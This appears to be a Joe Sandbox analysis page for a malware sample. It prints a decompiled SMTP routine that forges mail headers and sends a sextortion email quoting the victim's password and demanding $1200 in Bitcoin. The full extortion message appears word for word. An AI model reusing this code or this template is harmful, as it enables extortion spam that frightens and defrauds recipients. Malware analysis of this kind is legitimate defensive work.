                                                                                                                                                                                                                                                                                                                                                      0x010a1c2c
                                                                                                                                                                                                                                                                                                                                                      0x010a1c3a
                                                                                                                                                                                                                                                                                                                                                      0x010a1c2e
                                                                                                                                                                                                                                                                                                                                                      0x010a1c2e
                                                                                                                                                                                                                                                                                                                                                      0x010a1c2e
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1c46
                                                                                                                                                                                                                                                                                                                                                      0x010a1c46
                                                                                                                                                                                                                                                                                                                                                      0x010a1c4d
                                                                                                                                                                                                                                                                                                                                                      0x010a1c5b
                                                                                                                                                                                                                                                                                                                                                      0x010a1c62
                                                                                                                                                                                                                                                                                                                                                      0x010a1c68
                                                                                                                                                                                                                                                                                                                                                      0x010a1c77
                                                                                                                                                                                                                                                                                                                                                      0x010a1c7e
                                                                                                                                                                                                                                                                                                                                                      0x010a1c84
                                                                                                                                                                                                                                                                                                                                                      0x010a1c87
                                                                                                                                                                                                                                                                                                                                                      0x010a1c8d
                                                                                                                                                                                                                                                                                                                                                      0x010a1c9b
                                                                                                                                                                                                                                                                                                                                                      0x010a1c9f
                                                                                                                                                                                                                                                                                                                                                      0x010a1ca7
                                                                                                                                                                                                                                                                                                                                                      0x010a1ca9
                                                                                                                                                                                                                                                                                                                                                      0x010a1cb7
                                                                                                                                                                                                                                                                                                                                                      0x010a1cab
                                                                                                                                                                                                                                                                                                                                                      0x010a1cab
                                                                                                                                                                                                                                                                                                                                                      0x010a1cab
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1d18
                                                                                                                                                                                                                                                                                                                                                      0x010a1d1f
                                                                                                                                                                                                                                                                                                                                                      0x010a1d23
                                                                                                                                                                                                                                                                                                                                                      0x010a1d2b
                                                                                                                                                                                                                                                                                                                                                      0x010a1d2d
                                                                                                                                                                                                                                                                                                                                                      0x010a1d3b
                                                                                                                                                                                                                                                                                                                                                      0x010a1d2f
                                                                                                                                                                                                                                                                                                                                                      0x010a1d2f
                                                                                                                                                                                                                                                                                                                                                      0x010a1d2f
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1d47
                                                                                                                                                                                                                                                                                                                                                      0x010a1d47
                                                                                                                                                                                                                                                                                                                                                      0x010a1d65
                                                                                                                                                                                                                                                                                                                                                      0x010a1d6b
                                                                                                                                                                                                                                                                                                                                                      0x010a1d79
                                                                                                                                                                                                                                                                                                                                                      0x010a1d86
                                                                                                                                                                                                                                                                                                                                                      0x010a1d8e
                                                                                                                                                                                                                                                                                                                                                      0x010a1d97
                                                                                                                                                                                                                                                                                                                                                      0x010a1da6
                                                                                                                                                                                                                                                                                                                                                      0x010a1dad
                                                                                                                                                                                                                                                                                                                                                      0x010a1db2
                                                                                                                                                                                                                                                                                                                                                      0x010a1db3
                                                                                                                                                                                                                                                                                                                                                      0x010a1db8
                                                                                                                                                                                                                                                                                                                                                      0x010a1db8
                                                                                                                                                                                                                                                                                                                                                      0x010a1dbe
                                                                                                                                                                                                                                                                                                                                                      0x010a1dc3
                                                                                                                                                                                                                                                                                                                                                      0x010a1dc4
                                                                                                                                                                                                                                                                                                                                                      0x010a1dc9
                                                                                                                                                                                                                                                                                                                                                      0x010a1dc9
                                                                                                                                                                                                                                                                                                                                                      0x010a1dcf
                                                                                                                                                                                                                                                                                                                                                      0x010a1dd4
                                                                                                                                                                                                                                                                                                                                                      0x010a1dd5
                                                                                                                                                                                                                                                                                                                                                      0x010a1dda
                                                                                                                                                                                                                                                                                                                                                      0x010a1dda
                                                                                                                                                                                                                                                                                                                                                      0x010a1de0
                                                                                                                                                                                                                                                                                                                                                      0x010a1de5
                                                                                                                                                                                                                                                                                                                                                      0x010a1de6
                                                                                                                                                                                                                                                                                                                                                      0x010a1deb
                                                                                                                                                                                                                                                                                                                                                      0x010a1e08
                                                                                                                                                                                                                                                                                                                                                      0x010a1e0f
                                                                                                                                                                                                                                                                                                                                                      0x010a1e15
                                                                                                                                                                                                                                                                                                                                                      0x010a1e18
                                                                                                                                                                                                                                                                                                                                                      0x010a1e1e
                                                                                                                                                                                                                                                                                                                                                      0x010a1e2c
                                                                                                                                                                                                                                                                                                                                                      0x010a1e30
                                                                                                                                                                                                                                                                                                                                                      0x010a1e38
                                                                                                                                                                                                                                                                                                                                                      0x010a1e3a
                                                                                                                                                                                                                                                                                                                                                      0x010a1e48
                                                                                                                                                                                                                                                                                                                                                      0x010a1e61
                                                                                                                                                                                                                                                                                                                                                      0x010a1e6a
                                                                                                                                                                                                                                                                                                                                                      0x010a1e78
                                                                                                                                                                                                                                                                                                                                                      0x010a1e7f
                                                                                                                                                                                                                                                                                                                                                      0x010a1e85
                                                                                                                                                                                                                                                                                                                                                      0x010a1e88
                                                                                                                                                                                                                                                                                                                                                      0x010a1e95
                                                                                                                                                                                                                                                                                                                                                      0x010a1e9c
                                                                                                                                                                                                                                                                                                                                                      0x010a1ea0
                                                                                                                                                                                                                                                                                                                                                      0x010a1ea8
                                                                                                                                                                                                                                                                                                                                                      0x010a1eaa
                                                                                                                                                                                                                                                                                                                                                      0x010a1ec4
                                                                                                                                                                                                                                                                                                                                                      0x010a1ecb
                                                                                                                                                                                                                                                                                                                                                      0x010a1ed1
                                                                                                                                                                                                                                                                                                                                                      0x010a1ed4
                                                                                                                                                                                                                                                                                                                                                      0x010a1eda
                                                                                                                                                                                                                                                                                                                                                      0x010a1ee8
                                                                                                                                                                                                                                                                                                                                                      0x010a1eec
                                                                                                                                                                                                                                                                                                                                                      0x010a1ef4
                                                                                                                                                                                                                                                                                                                                                      0x010a1ef6
                                                                                                                                                                                                                                                                                                                                                      0x010a1f04
                                                                                                                                                                                                                                                                                                                                                      0x010a1f14
                                                                                                                                                                                                                                                                                                                                                      0x010a1f1a
                                                                                                                                                                                                                                                                                                                                                      0x010a1f1d
                                                                                                                                                                                                                                                                                                                                                      0x010a1f23
                                                                                                                                                                                                                                                                                                                                                      0x010a1f2a
                                                                                                                                                                                                                                                                                                                                                      0x010a1f35
                                                                                                                                                                                                                                                                                                                                                      0x010a1f3d
                                                                                                                                                                                                                                                                                                                                                      0x010a1f3f
                                                                                                                                                                                                                                                                                                                                                      0x010a1f57
                                                                                                                                                                                                                                                                                                                                                      0x010a1f5e
                                                                                                                                                                                                                                                                                                                                                      0x010a1f64
                                                                                                                                                                                                                                                                                                                                                      0x010a1f67
                                                                                                                                                                                                                                                                                                                                                      0x010a1f6d
                                                                                                                                                                                                                                                                                                                                                      0x010a1f7b
                                                                                                                                                                                                                                                                                                                                                      0x010a1f7f
                                                                                                                                                                                                                                                                                                                                                      0x010a1f87
                                                                                                                                                                                                                                                                                                                                                      0x010a1f89
                                                                                                                                                                                                                                                                                                                                                      0x010a1f97
                                                                                                                                                                                                                                                                                                                                                      0x010a1faa
                                                                                                                                                                                                                                                                                                                                                      0x010a1fb0
                                                                                                                                                                                                                                                                                                                                                      0x010a1fb3
                                                                                                                                                                                                                                                                                                                                                      0x010a1fb9
                                                                                                                                                                                                                                                                                                                                                      0x010a1fc0
                                                                                                                                                                                                                                                                                                                                                      0x010a1fcb
                                                                                                                                                                                                                                                                                                                                                      0x010a1fd3
                                                                                                                                                                                                                                                                                                                                                      0x010a1fd5
                                                                                                                                                                                                                                                                                                                                                      0x010a1fe3
                                                                                                                                                                                                                                                                                                                                                      0x010a1fea
                                                                                                                                                                                                                                                                                                                                                      0x010a2005
                                                                                                                                                                                                                                                                                                                                                      0x010a2013
                                                                                                                                                                                                                                                                                                                                                      0x010a201a
                                                                                                                                                                                                                                                                                                                                                      0x010a2020
                                                                                                                                                                                                                                                                                                                                                      0x010a2023
                                                                                                                                                                                                                                                                                                                                                      0x010a2029
                                                                                                                                                                                                                                                                                                                                                      0x010a2037
                                                                                                                                                                                                                                                                                                                                                      0x010a203b
                                                                                                                                                                                                                                                                                                                                                      0x010a2043
                                                                                                                                                                                                                                                                                                                                                      0x010a2045
                                                                                                                                                                                                                                                                                                                                                      0x010a205a
                                                                                                                                                                                                                                                                                                                                                      0x010a205e
                                                                                                                                                                                                                                                                                                                                                      0x010a2066
                                                                                                                                                                                                                                                                                                                                                      0x010a2068
                                                                                                                                                                                                                                                                                                                                                      0x010a2081
                                                                                                                                                                                                                                                                                                                                                      0x010a2089
                                                                                                                                                                                                                                                                                                                                                      0x010a208b
                                                                                                                                                                                                                                                                                                                                                      0x010a20a7
                                                                                                                                                                                                                                                                                                                                                      0x010a20b4
                                                                                                                                                                                                                                                                                                                                                      0x010a20cf
                                                                                                                                                                                                                                                                                                                                                      0x010a20e3
                                                                                                                                                                                                                                                                                                                                                      0x010a20f0
                                                                                                                                                                                                                                                                                                                                                      0x010a2103
                                                                                                                                                                                                                                                                                                                                                      0x010a210a
                                                                                                                                                                                                                                                                                                                                                      0x010a2117
                                                                                                                                                                                                                                                                                                                                                      0x010a2146
                                                                                                                                                                                                                                                                                                                                                      0x010a2153
                                                                                                                                                                                                                                                                                                                                                      0x010a2182
                                                                                                                                                                                                                                                                                                                                                      0x010a218f
                                                                                                                                                                                                                                                                                                                                                      0x010a21a7
                                                                                                                                                                                                                                                                                                                                                      0x010a21ab
                                                                                                                                                                                                                                                                                                                                                      0x010a21b3
                                                                                                                                                                                                                                                                                                                                                      0x010a21b5
                                                                                                                                                                                                                                                                                                                                                      0x010a21ca
                                                                                                                                                                                                                                                                                                                                                      0x010a21e5
                                                                                                                                                                                                                                                                                                                                                      0x010a21f9
                                                                                                                                                                                                                                                                                                                                                      0x010a2206
                                                                                                                                                                                                                                                                                                                                                      0x010a2235
                                                                                                                                                                                                                                                                                                                                                      0x010a2242
                                                                                                                                                                                                                                                                                                                                                      0x010a2271
                                                                                                                                                                                                                                                                                                                                                      0x010a2279
                                                                                                                                                                                                                                                                                                                                                      0x010a2292
                                                                                                                                                                                                                                                                                                                                                      0x010a22a6
                                                                                                                                                                                                                                                                                                                                                      0x010a22b0
                                                                                                                                                                                                                                                                                                                                                      0x010a22bb
                                                                                                                                                                                                                                                                                                                                                      0x010a22c3
                                                                                                                                                                                                                                                                                                                                                      0x010a22c5
                                                                                                                                                                                                                                                                                                                                                      0x010a22d0
                                                                                                                                                                                                                                                                                                                                                      0x010a22c7
                                                                                                                                                                                                                                                                                                                                                      0x010a22c7
                                                                                                                                                                                                                                                                                                                                                      0x010a22c7
                                                                                                                                                                                                                                                                                                                                                      0x010a21b7
                                                                                                                                                                                                                                                                                                                                                      0x010a21b7
                                                                                                                                                                                                                                                                                                                                                      0x010a21b7
                                                                                                                                                                                                                                                                                                                                                      0x010a208d
                                                                                                                                                                                                                                                                                                                                                      0x010a208d
                                                                                                                                                                                                                                                                                                                                                      0x010a208d
                                                                                                                                                                                                                                                                                                                                                      0x010a206a
                                                                                                                                                                                                                                                                                                                                                      0x010a206a
                                                                                                                                                                                                                                                                                                                                                      0x010a206a
                                                                                                                                                                                                                                                                                                                                                      0x010a2047
                                                                                                                                                                                                                                                                                                                                                      0x010a2047
                                                                                                                                                                                                                                                                                                                                                      0x010a2047
                                                                                                                                                                                                                                                                                                                                                      0x010a1fd7
                                                                                                                                                                                                                                                                                                                                                      0x010a1fd7
                                                                                                                                                                                                                                                                                                                                                      0x010a1fd7
                                                                                                                                                                                                                                                                                                                                                      0x010a1f8b
                                                                                                                                                                                                                                                                                                                                                      0x010a1f8b
                                                                                                                                                                                                                                                                                                                                                      0x010a1f8b
                                                                                                                                                                                                                                                                                                                                                      0x010a1f41
                                                                                                                                                                                                                                                                                                                                                      0x010a1f41
                                                                                                                                                                                                                                                                                                                                                      0x010a1f41
                                                                                                                                                                                                                                                                                                                                                      0x010a1ef8
                                                                                                                                                                                                                                                                                                                                                      0x010a1ef8
                                                                                                                                                                                                                                                                                                                                                      0x010a1ef8
                                                                                                                                                                                                                                                                                                                                                      0x010a1eac
                                                                                                                                                                                                                                                                                                                                                      0x010a1eac
                                                                                                                                                                                                                                                                                                                                                      0x010a1eac
                                                                                                                                                                                                                                                                                                                                                      0x010a1e3c
                                                                                                                                                                                                                                                                                                                                                      0x010a1e3c
                                                                                                                                                                                                                                                                                                                                                      0x010a1e3c
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a22d9
                                                                                                                                                                                                                                                                                                                                                      0x010a22e4
                                                                                                                                                                                                                                                                                                                                                      0x010a22ec
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1b81
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1b81
                                                                                                                                                                                                                                                                                                                                                      0x010a1b5b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1b5b
                                                                                                                                                                                                                                                                                                                                                      0x010a1b59
                                                                                                                                                                                                                                                                                                                                                      0x010a22f8
                                                                                                                                                                                                                                                                                                                                                      0x010a2301
                                                                                                                                                                                                                                                                                                                                                      0x010a230a
                                                                                                                                                                                                                                                                                                                                                      0x010a2314
                                                                                                                                                                                                                                                                                                                                                      0x010a2320
                                                                                                                                                                                                                                                                                                                                                      0x010a2320

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • wsprintfA.USER32 ref: 010A1CD3
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A1120: lstrlenA.KERNEL32(?), ref: 010A112D
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A1120: send.WS2_32(?,?,000000FF,00000000), ref: 010A1144
                                                                                                                                                                                                                                                                                                                                                      • shutdown.WS2_32(000000FF,00000002), ref: 010A230A
                                                                                                                                                                                                                                                                                                                                                      • closesocket.WS2_32(000000FF), ref: 010A2314
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000008.00000002.632818963.00000000010A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 010A0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632798147.00000000010A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632848133.00000000010A3000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632887362.00000000010A5000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632907339.00000000010A6000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_8_2_10a0000_75601095.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: closesocketlstrlensendshutdownwsprintf
                                                                                                                                                                                                                                                                                                                                                      • String ID: RCPT TO: <%s>
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1492768164-1854338671
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: cf778ef358c72293a76eb927f063b7e11dfb13ef7db7ea331010f2a24fa5a68e
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: d58836f85a0b2949c090b4fc8896f3799d7b177900fb3e546b3372a8dfde3258
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: cf778ef358c72293a76eb927f063b7e11dfb13ef7db7ea331010f2a24fa5a68e
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 56115EB5D00218EFCF10CBE8DC49BEEB7B4BB48305F4042A9E649A6240E7785954CF55
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 010A1D18 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 326 10a1d18-10a1d2d call 10a1120 329 10a1d3b-10a1d42 326->329 330 10a1d2f-10a1d36 326->330 331 10a22f3 329->331 330->331 333 10a1b2a-10a1b2e 331->333 334 10a22f8-10a2314 shutdown closesocket 331->334 333->334 335 10a1b34-10a1b44 call 10a1160 333->335 338 10a231a-10a2320 334->338 339 10a1b49-10a1b59 335->339 340 10a1b5b 339->340 341 10a1b60-10a1b7f call 10a11c0 339->341 340->334 344 10a1b81 341->344 345 10a1b86-10a1ba5 341->345 344->334 345->331 346 10a1bab 345->346 346->331
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 92%
                                                                                                                                                                                                                                                                                                                                                      			E010A1D18(void* __eflags) {
				void* _t171;
				intOrPtr _t175;
				char* _t176;
				void* _t197;
				void* _t199;
				void* _t200;
				void* _t202;

				L0:
				while(1) {
					L0:
					_t171 = E010A1120( *((intOrPtr*)(_t197 - 0x1c)), "DATA\r\n", 0xffffffff); // executed
					_t200 = _t199 + 0xc;
					if(_t171 != 0) {
						 *(_t197 - 0x20) = 6;
					} else {
						 *(__ebp - 0x20) = 0;
					}
					L48:
					while( *(_t197 - 0x20) != 0 &&  *(_t197 - 0x20) != 8) {
						_t175 = E010A1160( *((intOrPtr*)(_t197 - 0x1c)), _t197 - 0x490, 0x400); // executed
						_t202 = _t200 + 0xc;
						 *((intOrPtr*)(_t197 - 0x90)) = _t175;
						if( *((intOrPtr*)(_t197 - 0x90)) != 0) {
							L5:
							 *((char*)(_t197 +  *((intOrPtr*)(_t197 - 0x90)) - 0x490)) = 0;
							_t176 = E010A11C0(_t197 - 0x490);
							_t200 = _t202 + 4;
							__eflags = _t176;
							if(_t176 != 0) {
								L7:
								 *(_t197 - 0x758) =  *(_t197 - 0x20);
								 *(_t197 - 0x758) =  *(_t197 - 0x758) - 1;
								__eflags =  *(_t197 - 0x758) - 6;
								if(__eflags > 0) {
									continue;
								}
								L8:
								switch( *((intOrPtr*)( *(_t197 - 0x758) * 4 +  &M010A2324))) {
									case 0:
										L9:
										_push("ESMTP");
										_t179 = StrStrA(_t197 - 0x490);
										__eflags = _t179;
										if(_t179 == 0) {
											_t180 = wsprintfA(_t197 - 0x490, "HELO %s\r\n", "[102.129.143.78]");
											_t203 = _t200 + 0xc;
											 *(_t197 - 0x494) = _t180;
										} else {
											_t183 = wsprintfA(_t197 - 0x490, "EHLO %s\r\n", "[102.129.143.78]");
											_t203 = _t200 + 0xc;
											 *(_t197 - 0x494) = _t183;
										}
										_t182 = E010A1120( *((intOrPtr*)(_t197 - 0x1c)), _t197 - 0x490,  *(_t197 - 0x494)); // executed
										_t200 = _t203 + 0xc;
										__eflags = _t182;
										if(_t182 != 0) {
											 *(_t197 - 0x20) = 3;
										} else {
											 *(_t197 - 0x20) = 0;
										}
										goto L48;
									case 1:
										goto L48;
									case 2:
										L16:
										__eax = __ebp - 0x4c8;
										__eax = E010A18D0(__ecx, __eflags, __ebp - 0x4c8); // executed
										__ecx = __ebp - 0x88;
										__eax = wsprintfA(__ebp - 0x88, "<JohnBlue@%s>", __eax);
										__esp = __esp + 0xc;
										__eax = __ebp - 0x490;
										__eax = wsprintfA(__ebp - 0x490, "MAIL FROM: %s\r\n", __ebp - 0x88);
										__esp = __esp + 0xc;
										 *(__ebp - 0x4cc) = __eax;
										__ecx =  *(__ebp - 0x4cc);
										__eax =  *(__ebp - 0x1c);
										__eax = E010A1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x4cc)); // executed
										__eflags = __eax;
										if(__eax != 0) {
											 *(__ebp - 0x20) = 4;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 3:
										L19:
										__ecx =  *(__ebp + 8);
										__eax = wsprintfA(__ebp - 0x490, "RCPT TO: <%s>\r\n",  *(__ebp + 8));
										__esp = __esp + 0xc;
										 *(__ebp - 0x4d0) = __eax;
										__eax =  *(__ebp - 0x4d0);
										__ecx = __ebp - 0x490;
										__eax = E010A1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x4d0)); // executed
										__eflags = __eax;
										if(__eax != 0) {
											 *(__ebp - 0x20) = 5;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 4:
										goto L0;
									case 5:
										L24:
										__ecx = __ebp - 0x658;
										E010A1320(__ebp - 0x658, 5, __ebp - 0x658) = wsprintfA(__ebp - 0x538, "%s.com", __eax);
										__esp = __esp + 0xc;
										__ebp - 0x750 = E010A1490(0, __ebp - 0x750, 1); // executed
										Sleep(0x7d0); // executed
										__ecx = __ebp - 0x6d0;
										__eax = E010A1490(0, __ebp - 0x6d0, 0); // executed
										__eax = __ebp - 0x538;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t57 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t61 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t65 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xd2;
										_t69 = __eax % 0xd2;
										E010A1390(0xd2, 7, __ebp - 0x6e8) = __ebp - 0x490;
										__eax = wsprintfA(__ebp - 0x490, "Received: from %s ([%d.%d.%d.%d]) by %s with MailEnable ESMTP; %s\r\n", __ebp - 0x490, _t69 + 1, _t65 + 1, _t61 + 1, _t57 + 1, __ebp - 0x538, __ebp - 0x6d0);
										__esp = __esp + 0x24;
										 *(__ebp - 0x754) = __eax;
										__ecx =  *(__ebp - 0x754);
										__eax =  *(__ebp - 0x1c);
										__eax = E010A1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
										__eflags = __eax;
										if(__eax != 0) {
											__ecx = __ebp - 0x750;
											E010A1320(__ecx, 3, __ebp - 0x664) = __ebp - 0x6dc;
											__eax = E010A1320(__ecx, 5, __ebp - 0x6dc);
											__ecx = __ebp - 0x490;
											__eax = wsprintfA(__ebp - 0x490, "Received: (qmail %s invoked by uid %s); %s\r\n", __eax, __eax, __ebp - 0x490);
											__esp = __esp + 0x14;
											 *(__ebp - 0x754) = __eax;
											__eax = __ebp - 0x490;
											__ecx =  *(__ebp - 0x1c);
											__eax = E010A1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
											__eflags = __eax;
											if(__eax != 0) {
												__eax = __ebp - 0x490;
												__eax = wsprintfA(__ebp - 0x490, "From: John Blue %s\r\n", __ebp - 0x88);
												__esp = __esp + 0xc;
												 *(__ebp - 0x754) = __eax;
												__ecx =  *(__ebp - 0x754);
												__eax =  *(__ebp - 0x1c);
												__eax = E010A1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
												__eflags = __eax;
												if(__eax != 0) {
													__ecx =  *(__ebp + 8);
													__eax = wsprintfA(__ebp - 0x490, "To: %s\r\n",  *(__ebp + 8));
													__esp = __esp + 0xc;
													 *(__ebp - 0x754) = __eax;
													__eax =  *(__ebp - 0x754);
													__ecx = __ebp - 0x490;
													__eax = E010A1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
													__eflags = __eax;
													if(__eax != 0) {
														__eax = __ebp - 0x490;
														__eax = wsprintfA(__ebp - 0x490, "Subject: %s\r\n", "I RECORDED YOU!");
														__esp = __esp + 0xc;
														 *(__ebp - 0x754) = __eax;
														__ecx =  *(__ebp - 0x754);
														__eax =  *(__ebp - 0x1c);
														__eax = E010A1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
														__eflags = __eax;
														if(__eax != 0) {
															__ecx = __ebp - 0x6d0;
															__eax = wsprintfA(__ebp - 0x490, "Date: %s\r\n", __ebp - 0x6d0);
															__esp = __esp + 0xc;
															 *(__ebp - 0x754) = __eax;
															__eax =  *(__ebp - 0x754);
															__ecx = __ebp - 0x490;
															__eax = E010A1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
															__eflags = __eax;
															if(__eax != 0) {
																__eax = __ebp - 0x538;
																__ecx = __ebp - 0x664;
																E010A1320(__ecx, 6, __ecx) = E010A1320(__ecx, 6, __ebp - 0x6dc);
																__eax = __ebp - 0x490;
																__eax = wsprintfA(__ebp - 0x490, "Message-ID: <%s.%s@%s>\r\n", __ebp - 0x490, __ebp - 0x490, __ebp - 0x538);
																__esp = __esp + 0x14;
																 *(__ebp - 0x754) = __eax;
																__ecx =  *(__ebp - 0x754);
																__eax =  *(__ebp - 0x1c);
																__eax = E010A1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
																__eflags = __eax;
																if(__eax != 0) {
																	__ecx =  *(__ebp - 0x1c);
																	__eax = E010A1120( *(__ebp - 0x1c), "Mime-Version: 1.0\r\n", 0xffffffff); // executed
																	__eflags = __eax;
																	if(__eax != 0) {
																		__eax = E010A1120( *(__ebp - 0x1c), "Content-type: text/plain;\r\n\r\n", 0xffffffff); // executed
																		__eflags = __eax;
																		if(__eax != 0) {
																			__ebp - 0x640 = memset(__ebp - 0x640, 0, 0x104);
																			__ecx = __ebp - 0x640;
																			strcpy(__ebp - 0x640, "Hi, today there are sadly some bad news for you.\r\n\r\n") = strcat(__ebp - 0x640, "Your device was infected with my private malware, your browser wasn\'t updated / patched, in such case it\'s enough to just visit some website where my iframe is placed to get automatically infected, if you want to find out more, Google: Drive-by exploit.\r\n\r\n");
																			__ebp - 0x640 = strcat(__ebp - 0x640, "My malware gave me full access to all your accounts, full control over your device and it also was possible to spy on you over your cam.\r\n\r\n");
																			__ecx = __ebp - 0x640;
																			strcat(__ebp - 0x640, "If you think this is some bad joke, no, I know your password: ") = __ebp - 0x640;
																			__eax = strcat(__ebp - 0x640,  *(__ebp + 0xc));
																			__ecx = __ebp - 0x640;
																			__ebp - 0x640 = strcat(__ebp - 0x640, "After that I removed my malware to not leave any traces and this email was sent from some hacked server.\r\n\r\n");
																			__ecx = __ebp - 0x640;
																			__ebp - 0x640 = strcat(__ebp - 0x640, "The only way to stop me, is to pay exactly 1200$ in Bitcoin (BTC).\r\n\r\n");
																			__ecx = __ebp - 0x640;
																			strcat(__ebp - 0x640, "It\'s a very good offer, compared to all that horrible shit that will happen if I publish everything.\r\n\r\n") =  *(__ebp - 0x1c);
																			__eax = E010A1120( *(__ebp - 0x1c), __ebp - 0x640, 0xffffffff); // executed
																			__eflags = __eax;
																			if(__eax != 0) {
																				__ecx = __ebp - 0x640;
																				memset(__ebp - 0x640, 0, 0x104) = strcpy(__ebp - 0x640, "You can easily buy Bitcoin (BTC) here: www.paxful.com , www.coingate.com , www.coinbase.com , or check for Bitcoin (BTC) ATM near you, or Google for other exchanger.\r\n\r\n");
																				__ebp - 0x640 = strcat(__ebp - 0x640, "You can send the Bitcoin (BTC) directly to my wallet, or install the free software: Atomicwallet, or: Exodus wallet, then receive and send to mine.\r\n\r\n");
																				__ecx = __ebp - 0x640;
																				__ebp - 0x640 = strcat(__ebp - 0x640, "I give you 3 days time to pay.\r\n\r\n");
																				__ecx = __ebp - 0x640;
																				__ebp - 0x640 = strcat(__ebp - 0x640, "ClientMailID: ");
																				__ecx = __ebp - 0x64c;
																				E010A1320(__ebp - 0x64c, 7, __ebp - 0x64c) = strcat(__ebp - 0x640, __eax);
																				__ebp - 0x640 = strcat(__ebp - 0x640, "\r\n.\r\n");
																				__ecx = __ebp - 0x640;
																				__eax = E010A1120( *(__ebp - 0x1c), __ebp - 0x640, 0xffffffff); // executed
																				__eflags = __eax;
																				if(__eax != 0) {
																					 *(__ebp - 0x20) = 7;
																				} else {
																					 *(__ebp - 0x20) = 0;
																				}
																			} else {
																				 *(__ebp - 0x20) = 0;
																			}
																		} else {
																			 *(__ebp - 0x20) = 0;
																		}
																	} else {
																		 *(__ebp - 0x20) = 0;
																	}
																} else {
																	 *(__ebp - 0x20) = 0;
																}
															} else {
																 *(__ebp - 0x20) = 0;
															}
														} else {
															 *(__ebp - 0x20) = 0;
														}
													} else {
														 *(__ebp - 0x20) = 0;
													}
												} else {
													 *(__ebp - 0x20) = 0;
												}
											} else {
												 *(__ebp - 0x20) = 0;
											}
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 6:
										L47:
										 *(__ebp - 0x1c) = E010A1120( *(__ebp - 0x1c), "QUIT", 0xffffffff); // executed
										 *(__ebp - 0x20) = 8;
										goto L48;
								}
							} else {
								break;
							}
						} else {
							break;
						}
					}
					L49:
					 *(_t197 - 8) = 0 |  *(_t197 - 0x20) == 0x00000008;
					__imp__#22( *((intOrPtr*)(_t197 - 0x1c)), 2); // executed
					__imp__#3( *((intOrPtr*)(_t197 - 0x1c)));
					return  *(_t197 - 8);
				}
			}










                                                                                                                                                                                                                                                                                                                                                      0x010a1d18
